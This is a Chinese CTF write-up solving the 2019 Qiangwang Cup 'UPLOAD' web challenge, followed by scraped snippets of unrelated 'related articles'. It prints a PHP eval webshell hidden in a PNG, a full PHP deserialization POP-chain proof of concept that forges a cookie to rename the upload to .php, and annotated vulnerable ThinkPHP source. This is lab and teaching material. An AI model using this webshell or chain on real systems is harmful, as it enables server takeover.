CTF-Web习题:2019强网杯 UPLOAD
题目链接:2019强网杯 UPLOAD
解题思路
打开靶场如下图所示,是一个注册和登录界面
那就注册登录一下,发现是一个提交头像的页面:
试了一下只有能正确显示的png图片才能提交成功,同时F12拿到cookie,base64解码后能看到图片上传到的路径。
没发现什么有用的信息,试着扫扫目录,扫出来一个www.tar.gz文件,下载下来看一眼
(此处吐槽:用dirsearch.py扫了三次都没扫出来,用dirmap也没扫出来,最后查看dirsearch的默认字典准备把www.tar.gz加进去扫试试,结果里面本来就有,再扫就扫出来了,我不理解…)
那就下载下来看看,(这里下载下来的压缩文件在kali里解压不了,拿出来到360压缩却能成功解压,360真的很神奇)是ThinkPhp5框架编写的项目源码
该框架下核心代码一般都在application/web/controller
目录下,审阅代码发现Index.php
和Register.php
文件下有两个断点,应该是作者的Hint(提示),详情如下:
Index.php:
断点打在login_check
方法中,且访问大部分页面都会调用该方法,该方法先从cookie中获取用户信息,并将该信息反序列化,随后到数据库中查找比对相关信息是否一致
Register.php:
断点打在改Register类的析构方法__destruct()
中,该方法在对象被销毁时调用,该析构方法内的语句意思是:如果没有注册,则跳转到首页,这儿可能有点云里雾里,没关系,Register类的详情我们在文末详细分析。
此时已经有析构方法,反序列化,文件上传等线索,可以大概推测出本题想要考察反序列化与文件上传。那么接下来就去看看上传头像的业务逻辑,在application/web/controller.Profile.php
中:
Profile.php:
首先可以看到上传头像的方法upload_img()
,主要逻辑是:
先检查是否登录,没登陆则跳转首页;然后判断是否有文件,如果有文件,就将文件拓展名改为png;然后检查是否为正常可显示的图片,如果是,就将文件复制到目标路径下,并存储到数据库,否则报错。
再往下看,可以看到Profile类也有两个魔术方法:__get()
和__call()
,分别编写了在调用不可调用的成员变量和调用不可调用的方法时应该怎么做:
__get ($name):
当调用不可调用的成员变量(例如私有变量)或不存在的变量时,会从自身的except变量数组里查找返回
__call($name,$arguments):
当调用不可调用的方法(例如私有方法)或不存在的方法时,判断是否有name的属性,如果有,以name的值为方法名尝试调用该方法
以上所有的魔术方法都会在本题中发挥重要作用!!!!!!!!
至此,根据我们搜集到的信息,我们可以利用index.php
里的login_check()
方法内的反序列化漏洞,伪造一个cookie,反序列化出一个我们制造的对象,通过自定义对象的属性值,来进行后续操作。(大致思路)
这里我们的思路是:
1、构造一个图片马,注册一个新号上传上去,并记录下该文件的具体位置
2、构造一个对象(构造什么对象?我们后续详细操作步骤来探讨),利用反序列化与魔术方法将文件后缀修改为.php
3、利用蚁剑连接,获取flag
那么接下来就开始操作吧!
1、构造图片马并上传
我们直接保存百度的logo,然后用notepad++打开,在末尾嵌入<?php @eval($_POST["password"]);?>
一句话木马,此处的"password"就是蚁剑的连接密码
上传之后我们通过查看cookie记住文件的存储位置:
eg:../upload/c7129430ace4c05bd5bcee0bd02b538b/0ee66fdd85690660cc9316918e6ccb78.png
注意: 此处的一句话木马如果上传上去连接提示返回值为空,可能存在以下问题:
- POST没有大写
<?php @eval($_POST["password"]);?>
要双引号,单引号可能导致解析失败- 一句话木马书写有误
- 蚁剑编码器解码器都选择base64
2、构造对象,利用反序列化调用魔术方法修改文件后缀为php
我们要构造一个什么对象?要明白这个问题,我们要回到反序列化的源头index.php
文件的login_check()
方法(请大家自行查看源码,篇幅原因这里不再贴出),可以看到此方法在反序列化对象之后,程序没有任何地方调用过该对象的成员属性和成员方法(用phpstorm看),因此,唯一能发挥作用的只有之前提到过的__destruct()
方法,在对象销毁时调用。
在本题中,只有Register
类有该魔术方法,因此,我们要构造的就是Register
类的对象:
class Register{public $checker;public $registed;public function __destruct(){if(!$this->registed){$this->checker->index();}}
}
$register = new Register();
$register->registed = false;
再来看该魔术方法的逻辑,想要通过判断,应有registed = false
,然后它调用了成员变量checker
的inedx()
方法,该方法是Index.php
中Index
类下的,发现如果正常调用,没有什么地方有漏洞。这个应该想到魔术方法__call()
了,它在调用不可调用或者不存在的方法时被调用,该魔术方法在Profile
类中,且该类并没有index()
方法,因此,我们可以确定,变量checker
的值,就是Profile
类的对象。
为此我们还应该实例化一个Profile
类:
class Profile{public $checker;public $filename_tmp;public $filename;public $upload_menu;public $ext;public $img;public $except;public function __get($name){return $this->except[$name];}public function __call($name, $arguments){if($this->{$name}){$this->{$this->{$name}}($arguments);}}
}
$profile = new Profile();
$register->checker = $profile;
承接上述逻辑,当调用profile
对象的index()
方法,然该方法不存在,则转而调用魔术方法并传入参数:__call("index")
方法,此时,会检查profile
对象中有没有index
这个属性,显然是没有的,那么调用不存在的属性时,就会调用__get()
方法,从except
数组中查找以index
为键查找对应的值A
,并调用profile
对象中以属性A
的值为名称的方法!!也就是说,我们可以以此方式调用Profile
对象中的任何函数!!!!!,查看源码发现,通过调用upload_img
方法,可以将文件从filename_tmp
复制到filename
处,并删除filename_tmp
文件,就可以实现文件名后缀修改为php
!!!
因此,在profile
对象属性构造上,可有如下:
$profile->except = ['index' => 'img'];
$profile->img = "upload_img";
现在可以调用upload_img()
方法了,通过查看源码发现前两个if
不给checker
赋值,不上传文件,即可绕过,最后一个if
需要ext
不为空,通过修改filename_tmp
和filename
的值,即可实现文件名和后缀的修改,属性赋值如下:
注意:(这里的文件路径加了/public,是因为Profile类的构造函数会加public,而我们的反序列化不会调用构造函数,所以需要我们手动加上去)
$profile->ext = "png";//过if必须参数,=true也可以
$profile->filename_tmp = "../public/upload/c7129430ace4c05bd5bcee0bd02b538b/0ee66fdd85690660cc9316918e6ccb78.png";
$profile->filename = "../public/upload/c7129430ace4c05bd5bcee0bd02b538b/0ee66fdd85690660cc9316918e6ccb78.php";
最后还要加上命名空间namespace
,位置和源码的Register
类一致app\web\controller
,用来说明这个类来自哪里,不然人家靶场不知道具体该从哪里序列化这个Profile类。然后序列化register
对象即可。
整理代码如下所示:
namespace app\web\controller;
class Profile{public $checker;public $filename_tmp;public $filename;public $upload_menu;public $ext;public $img;public $except;public function __get($name){return $this->except[$name];}public function __call($name, $arguments){if($this->{$name}){$this->{$this->{$name}}($arguments);}}
}
class Register{public $checker;public $registed;public function __destruct(){if(!$this->registed){$this->checker->index();}}
}
$profile = new Profile();
$profile->except = ['index' => 'img'];
$profile->img = "upload_img";
$profile->ext = "png";
$profile->filename_tmp = "../public/upload/c7129430ace4c05bd5bcee0bd02b538b/0ee66fdd85690660cc9316918e6ccb78.png";
$profile->filename = "../public/upload/c7129430ace4c05bd5bcee0bd02b538b/0ee66fdd85690660cc9316918e6ccb78.php";$register = new Register();
$register->registed = false;
$register->checker = $profile;
echo urlencode(base64_encode(serialize($register)));
运行这段代码(POC),得到Cookie,利用Hackbar插件将cookie发送到靶机,然后出现如下页面
让我们访问.php文件看看修改成功没有,发现访问成功!
3、连接蚁剑,获取flag
url处输入我们图片马的链接,密码是一句话木马的参数名,连接成功~,然后在根目录下找到flag文件提交即可。
源码审计详解
1、Index.php
<?php
namespace app\web\controller;//定义命名空间,表示这个类属于app\web\controller
use think\Controller;//引入ThinkPHP5的Controller基类class Index extends Controller//Index类继承th5的Controller类
{public $profile;//会话中的用户信息public $profile_db;//数据库中的用户信息//index是默认的控制器方法,用来处理用户访问主页的请求public function index(){//检查是否登录,如果已登录则重定向到home方法if($this->login_check()){$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/home";//构建重定向的URL$this->redirect($curr_url,302);//执行重定向,并返回302状态码(临时重定向)exit();//终止脚本执行}return $this->fetch("index");//如果用户未登录,则返回index视图}//home方法用于处理用户访问主页后的逻辑public function home(){//如果未登录if(!$this->login_check()){$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";//重定向到index方法$this->redirect($curr_url,302);//执行重定向,并返回302状态码exit();//终止程序执行}//如果用户没有上传图片if(!$this->check_upload_img()){$this->assign("username",$this->profile_db['username']);//调用tp5框架的assign方法,将username分配到视图上显示return $this->fetch("upload");//返回上传图片的视图}else{ //如果用户上传了图片$this->assign("img",$this->profile_db['img']);//将img分配到视图上显示$this->assign("username",$this->profile_db['username']);//将username分配到视图上显示return $this->fetch("home");//返回home视图}}//用于检查用户是否登录public function login_check(){$profile=cookie('user');//获取cookie中的用户信息//cookie中用户信息非空if(!empty($profile)){$this->profile=unserialize(base64_decode($profile));//解码反序列化用户信息$this->profile_db=db('user')->where("ID",intval($this->profile['ID']))->find();//从数据库中查询用户信息//如果数据库的用户信息与cookie中一致,则返回1,否则返回0if(array_diff($this->profile_db,$this->profile)==null){return 1;}else{return 0;}}}//检查用户是否上传了图片public function check_upload_img(){//如果cookie中用户信息非空,且,数据库用户信息非空if(!empty($this->profile) && !empty($this->profile_db)){//如果数据库中img字段为空,返回0,否则返回1if(empty($this->profile_db['img'])){return 0;}else{return 1;}}}//用于处理用户注销public function logout(){cookie("user",null);//设置cookie为null$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";//重定向到index视图$this->redirect($curr_url,302);//执行重定向,并返回302状态码exit();//终止程序执行}//魔术方法,当调用不可调用或不存在的属性时调用,返回一个空字符串。public function __get($name){return "";}}
2、Register.php
<?php
namespace app\web\controller;
use think\Controller;class Register extends Controller
{public $checker;public $registed;//构造方法,初始化register对象时调用public function __construct(){$this->checker=new Index(); //实例化一个Index对象赋值给checker}//处理用户的注册方法public function register(){//如果checker非空if ($this->checker) {//调用起login_check()方法检查用户书否登录,如果登录if($this->checker->login_check()){$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/home";//重定向到home视图$this->redirect($curr_url,302);//执行重定向,发送302状态码exit();//中断脚本执行}}//从POST请求中获取'username'、'email'和'password'进行输入校验//如果都不为空if (!empty(input("post.username")) && !empty(input("post.email")) && !empty(input("post.password"))) {//input是tp5的函数$email = input("post.email", "", "addslashes");//调用addslashes函数对mail中的特殊字符进行转义$password = input("post.password", "", "addslashes");$username = input("post.username", "", "addslashes");//如果邮箱检测合法if($this->check_email($email)) {//如果数据库内内没有相同用户名或邮箱的用户if (empty(db("user")->where("username", $username)->find()) && empty(db("user")->where("email", $email)->find())) {$user_info = ["email" => $email, "password" => md5($password), "username" => $username];//构建userinfo数组//向数据库中新增用户,如果成功if (db("user")->insert($user_info)) {$this->registed = 1;//设置已注册标记$this->success('Registed successful!', url('../index'));//利用tp5的success方法跳转到成功页面} else {//新增用户失败则跳转到注册失败页面$this->error('Registed failed!', url('../index'));}} else {//如果数据库中存在同用户名或邮箱用户,提示用户已存在$this->error('Account already exists!', url('../index'));}}else{//如果邮箱验证错误,提示邮箱无效$this->error('Email illegal!', url('../index'));}} else {//如果post参数有误,提示有空值$this->error('Something empty!', url('../index'));}}//检查邮箱是否合法public function check_email($email){$pattern = "/^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[a-z0-9-]+(\.[a-z0-9-]+)*(\.[a-z]{2,})$/";//构建正则表达式preg_match($pattern, $email, $matches);//利用该函数进行匹配if(empty($matches)){//匹配失败返回0return 0;}else{//否则返回1return 1;}}//魔术方法,在对象销毁时调用public function __destruct(){如果已注册if(!$this->registed){//调用checker的index()方法返回主页$this->checker->index();}}
}
3、Profile.php
<?php
namespace app\web\controller;use think\Controller;class Profile extends Controller
{public $checker;public $filename_tmp;public $filename;public $upload_menu;public $ext;public $img;public $except;//构造函数public function __construct(){$this->checker=new Index();//实例化一个Index对象给checker$this->upload_menu=md5($_SERVER['REMOTE_ADDR']);//使用客户端的IP地址生产一个MD5值,作为上传目录的名称@chdir("../public/upload");//切换相对目录,如果没有该目录则创建//如果当前没有该上传目录,则新建一个if(!is_dir($this->upload_menu)){@mkdir($this->upload_menu);}@chdir($this->upload_menu);//切换到上传目录}//上传头像方法public function upload_img(){//检查checker对象是否存在if($this->checker){//如果存在,调用其login_check方法检查是否登录,如果未登录if(!$this->checker->login_check()){$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";//重定向到index视图$this->redirect($curr_url,302);exit();}}//如果上传文件非空if(!empty($_FILES)){$this->filename_tmp=$_FILES['upload_file']['tmp_name'];//获取文件在服务器上的临时文件路径$this->filename=md5($_FILES['upload_file']['name']).".png";//获取文件的原始名称,并进行md5编码$this->ext_check();//检查文件扩展名是否合法}//如果ext非空if($this->ext) {//如果文件时有效图像if(getimagesize($this->filename_tmp)) {@copy($this->filename_tmp, $this->filename);//将文件复制到filename处@unlink($this->filename_tmp);//删除临时文件$this->img="../upload/$this->upload_menu/$this->filename";//编辑img的存储地址$this->update_img();//更新图片}else{$this->error('Forbidden type!', url('../index'));}}else{$this->error('Unknow file type!', url('../index'));}}//更新图片public function update_img(){$user_info=db('user')->where("ID",$this->checker->profile['ID'])->find();//从数据库查询用户信息//如果用户没有头像,且当前图像存在if(empty($user_info['img']) && $this->img){//更新用户数据库中的头像信息if(db('user')->where('ID',$user_info['ID'])->data(["img"=>addslashes($this->img)])->update()){$this->update_cookie();//更新cookie$this->success('Upload img successful!', url('../home'));//返回访问成功}else{$this->error('Upload file failed!', url('../index'));}}}//更细cookiepublic function update_cookie(){$this->checker->profile['img']=$this->img;cookie("user",base64_encode(serialize($this->checker->profile)),3600);}//拓展名检查public function ext_check(){$ext_arr=explode(".",$this->filename);//yi.分割ffilename为数组$this->ext=end($ext_arr);//获取数组最后一个元素if($this->ext=="png"){//如果是png返回1,否则返回0return 1;}else{return 0;}}//魔术方法,访问不存在的变量或不可访问的变量时调用public function __get($name){return $this->except[$name];//从except数组中找}
‘//魔术方法,当调用不可调用的方法或不存在的方法时调用public function __call($name, $arguments){//看看是否有该变量if($this->{$name}){//如果有,调用以该变量的值为名称的函数$this->{$this->{$name}}($arguments);}}}
碎片知识补充
1、文件下载
比如这题的www.tar.gz
文件,可以通过浏览器直接访问下载,也可以通过linux命令下载:
wget [url] -o [要保存位的文件名]
curl -o [要保存位的文件名] [url]
相关文章:

CTF-Web习题:2019强网杯 UPLOAD
题目链接:2019强网杯 UPLOAD 解题思路 打开靶场如下图所示,是一个注册和登录界面 那就注册登录一下,发现是一个提交头像的页面: 试了一下只有能正确显示的png图片才能提交成功,同时F12拿到cookie,base6…...

Unity环境渲染与反射探针的深入探索
目录 环境渲染基础 光源设置 材质与光照贴图 反射探针(Reflection Probes)详解 反射探针的创建与配置 材质中的反射探针设置 实践案例 实践案例:室内场景中的反射效果 场景设置 反射探针配置 Unity代码示例(非直接配置…...

vue3 父组件 props 异步传值,子组件接收不到或接收错误
1. 使用场景 我们在子组件中通常需要调用父组件的数据,此时需要使用 vue3 的 props 进行父子组件通信传值。 2. 问题描述 那么此时问题来了,在使用 props 进行父子组件通信时,因为数据传递是异步的,导致子组件无法成功获取数据…...

[C++]TinyWebServer
TinyWebServer 文章目录 TinyWebServer1 主体框架2 Buffer2.1 向Buffer写入数据2.2 从Buffer读取数据2.3 动态扩容2.4 从socket中读取数据2.5 具体实现 3 日志系统3.1 生产者-消费者模型3.2 数据一致3.3 代码 4 定时器4.1 调整堆中元素操作4.2 堆的操作4.2.1 增4.2.2 删4.2.3 改…...

Uniswap价格批量查询与ws订阅行情
Uniswap价格批量查询与ws订阅行情 由于 Uniswap V1 版本必须包含 ETH 所以两个 token 之间交换必须先换成 ETH 去中转效率很低已经弃用了 由于 V3 版本 CLMM 和 V4 版本的 DLMM 数学模型过于复杂,还是先从 AMM 模型的 V2 进行入门和学习 Uniswap 三种合约 Unisw…...

vue 实战 区域内小组件元素拖拽 示例
<template><div><el-button type"primary" click"showDialog true">快捷布局</el-button><el-dialog title"快捷布局配置" :visible.sync"showDialog"><el-row :gutter"20"><el-co…...

C++多线程编程中的锁详解
在现代软件开发中,多线程编程是提升应用程序性能和响应能力的重要手段。然而,多线程编程也带来了数据竞争和死锁等复杂问题。为了确保线程间的同步和共享数据的一致性,C标准库提供了多种锁机制。 1. std::mutex std::mutex是最基础的互斥锁…...

van-dialog 组件调用报错
报错截图 报错原因 这个警告表明 vue 在渲染页面时遇到了一个未知的自定义组件 <van-dialog>,并且提示可能是由于未正确注册该组件导致的。在 vue 中,当我们使用自定义组件时,需要先在 vue 实例中注册这些组件,以便 vue 能…...

【Django】在vscode中运行调试Django项目(命令及图形方式)
文章目录 命令方式图形方式默认8000端口设置自定义端口 命令方式 python manage.py runserver图形方式 默认8000端口 设置自定义端口...

麦田物语第十三天
系列文章目录 麦田物语第十三天 文章目录 系列文章目录一、实现根据物品详情显示 ItemTooltip1.ItemTooltips脚本编写二、制作 Player 的动画一、实现根据物品详情显示 ItemTooltip 1.ItemTooltips脚本编写 首先创建Scripts->Inventory->UI->ItemTooltip脚本,然后…...

【Git多人协作开发】不同的分支下的多人协作开发模式
目录 0.前言背景 1.开发者1☞完成准备工作&协作开发 1.1查看分支情况 1.2创建本地分支feature-1 1.3三板斧 1.4push推本地分支feature-1到远程仓库 2.开发者2☞完成准备工作&协作开发 2.1创建本地分支feature-2 2.2三板斧 2.2push推送本地feature-2到远程仓库…...

Lua 复数计算器
Lua复数计算器 主要包括复数的加减乘除操作,以及打印 编写复数类 -- ***** 元类 ***** Complex {real 0, imag 0}-- 构造函数 function Complex:new(real, imag)local o o or {}o.real real or 0o.imag imag or 0setmetatable(o, self)self.__index selfr…...

深入MySQL中的IF和IFNULL函数
在数据库查询中,我们经常需要根据条件来决定数据的显示方式。MySQL提供了多种内置函数来帮助我们实现这种条件逻辑,其中IF和IFNULL是两个非常有用的函数。在这篇博客中,我们将深入探讨这两个函数的用法和它们在实际查询中的应用。 IF函数 I…...

AI多模态实战教程:面壁智能MiniCPM-V多模态大模型问答交互、llama.cpp模型量化和推理
一、项目简介 MiniCPM-V 系列是专为视觉-语⾔理解设计的多模态⼤型语⾔模型(MLLMs),提供⾼质量的⽂本输出,已发布4个版本。 1.1 主要模型及特性 (1)MiniCPM-Llama3-V 2.5: 参数规模: 8B性能…...

Docker 搭建Elasticsearch详细步骤
本章教程使用Docker搭建Elasticsearch环境。 一、拉取镜像 docker pull docker.elastic.co/elasticsearch/elasticsearch:8.8.2二、运行容器 docker run -d --name elasticsearch -p 9200:9200 -p 9300:9300 -e "discovery.type=single-n...

mysql中提供的函数
文章目录 1.聚合函数2.字符串函数3.数值函数4.日期函数5.流程函数 MySQL 是一个功能强大的关系型数据库管理系统,其中包含了丰富的内置函数,用于处理各种数据操作和查询。这些函数可以分为多种类型,包括字符串函数、数值函数、日期和时间函数…...

加速下载,揭秘Internet Download Manager2024下载器的威力!
1. Internet Download Manager(IDM)是一款广受欢迎的下载管理软件,以其强大的下载加速功能和用户友好的界面著称。 IDM马丁正版下载如下: https://wm.makeding.com/iclk/?zoneid34275 idm最新绿色版一键安装包链接:抓紧保存以…...

oracle 宽表设计
Oracle宽表设计主要涉及到数据库表或视图中字段(列)数量较多的情况。在Oracle 23c及以后的版本中,数据库表或视图中允许的最大列数已增加到4096,这为宽表设计提供了更大的灵活性。以下是对Oracle宽表设计的详细分析: …...

winrar安装好后,鼠标右键没有弹出解压的选项
本来安装挺好的,可以正常使用,有天我把winrar相关的文件挪了个位置,就不能正常使用了。 然后我去应用里面找,找到应用标识了,但是找不到对应的文件夹(因为我挪到另外一个文件夹里了)。 于是我找…...

数字图像处理笔记(一)---- 图像数字化与显示
系列文章目录 数字图像处理学习笔记(一)---- 图像数字化与显示 数字图像处理笔记(二)---- 像素加图像统计特征 数字图像处理笔记(三) ---- 傅里叶变换的基本原理 文章目录 系列文章目录前言一、数字图像处理二、图像数…...

Unity UGUI 之 事件接口
本文仅作学习笔记与交流,不作任何商业用途 本文包括但不限于unity官方手册,唐老狮,麦扣教程知识,引用会标记,如有不足还请斧正 本文在发布时间选用unity 2022.3.8稳定版本,请注意分别 1.什么是事件接口&…...

Hadoop、HDFS、MapReduce 大数据解决方案
本心、输入输出、结果 文章目录 Hadoop、HDFS、MapReduce 大数据解决方案前言HadoopHadoop 主要组件的Web UI端口和一些基本信息MapReduceMapReduce的核心思想MapReduce的工作流程MapReduce的优缺点Hadoop、HDFS、MapReduce 大数据解决方案 编辑 | 简简单单 Online zuozuo 地址…...

Dubbo SPI 之负载均衡
1. 背景介绍 在分布式系统中,负载均衡是一项核心技术,旨在将请求合理地分配到多个服务实例上,以提高系统的性能和可靠性。Dubbo 作为一个高性能的 Java RPC 框架,提供了多种负载均衡策略来满足不同的业务需求。本文将深入探讨 Du…...

规范:前后端接口规范
1、前言 随着互联网的高速发展,前端页面的展示、交互体验越来越灵活、炫丽,响应体验也要求越来越高,后端服务的高并发、高可用、高性能、高扩展等特性的要求也愈加苛刻,从而导致前后端研发各自专注于自己擅长的领域深耕细作。 然…...

Python --NumPy库基础方法(2)
NumPy Numpy(Numerical Python) 是科学计算基础库,提供大量科学计算相关功能,比如数据统计,随机数生成等。其提供最核心类型为多维数组类型(ndarray),支持大量的维度数组与矩阵运算,Numpy支持向…...

音视频入门基础:H.264专题(15)——FFmpeg源码中通过SPS属性获取视频帧率的实现
音视频入门基础:H.264专题系列文章: 音视频入门基础:H.264专题(1)——H.264官方文档下载 音视频入门基础:H.264专题(2)——使用FFmpeg命令生成H.264裸流文件 音视频入门基础&…...

【C++高阶】哈希之美:探索位图与布隆过滤器的应用之旅
📝个人主页🌹:Eternity._ ⏩收录专栏⏪:C “ 登神长阶 ” 🤡往期回顾🤡:模拟实现unordered 的奥秘 🌹🌹期待您的关注 🌹🌹 ❀哈希应用 Ǵ…...

文件包涵条件竞争(ctfshow82)
Web82 利用 session.upload_progress 包含文件漏洞 <!DOCTYPE html> <html> <body> <form action"https://09558c1b-9569-4abd-bf78-86c4a6cb6608.challenge.ctf.show//" method"POST" enctype"multipart/form-data"> …...

通信原理-思科实验三:无线局域网实验
实验三 无线局域网实验 一:无线局域网基础服务集 实验步骤: 进入物理工作区,导航选择 城市家园; 选择设备 AP0,并分别选择Laptop0、Laptop1放在APO范围外区域 修改笔记本的网卡,从以太网卡切换到无线网卡WPC300N 切…...

*算法训练(leetcode)第三十一天 | 1049. 最后一块石头的重量 II、494. 目标和、474. 一和零
刷题记录 *1049. 最后一块石头的重量 II*494. 目标和474. 一和零 *1049. 最后一块石头的重量 II leetcode题目地址 本题与分割等和子集类似,要达到碰撞最后的石头重量最小,则尽可能把石头等分为两堆。 时间复杂度: O ( m ∗ n ) O(m * n)…...